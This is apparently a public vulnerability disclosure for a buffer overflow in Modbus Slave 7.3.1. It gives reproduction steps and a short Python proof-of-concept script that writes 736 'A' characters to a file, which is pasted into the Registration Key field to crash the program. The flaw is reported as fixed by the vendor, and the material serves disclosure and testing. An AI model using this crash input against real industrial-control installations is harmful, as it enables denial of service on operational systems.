Modbus Slave version 7.3.1 suffers from a buffer overflow vulnerability.
2313266d714dc2afae0ad0a7f7ba102fVendor has been notified and fixed
https://www.modbustools.com/ModSlaveChangeLog.txt
tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64
# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file to Registration Key
# 6. - press "ok" button
# 7. - Crashed
#!/usr/bin/python
exploit = 'A' * 736
try:
file = open("Modbus.txt","w")
file.write(exploit)
file.close()
print("POC is created")
except:
print("POC not created")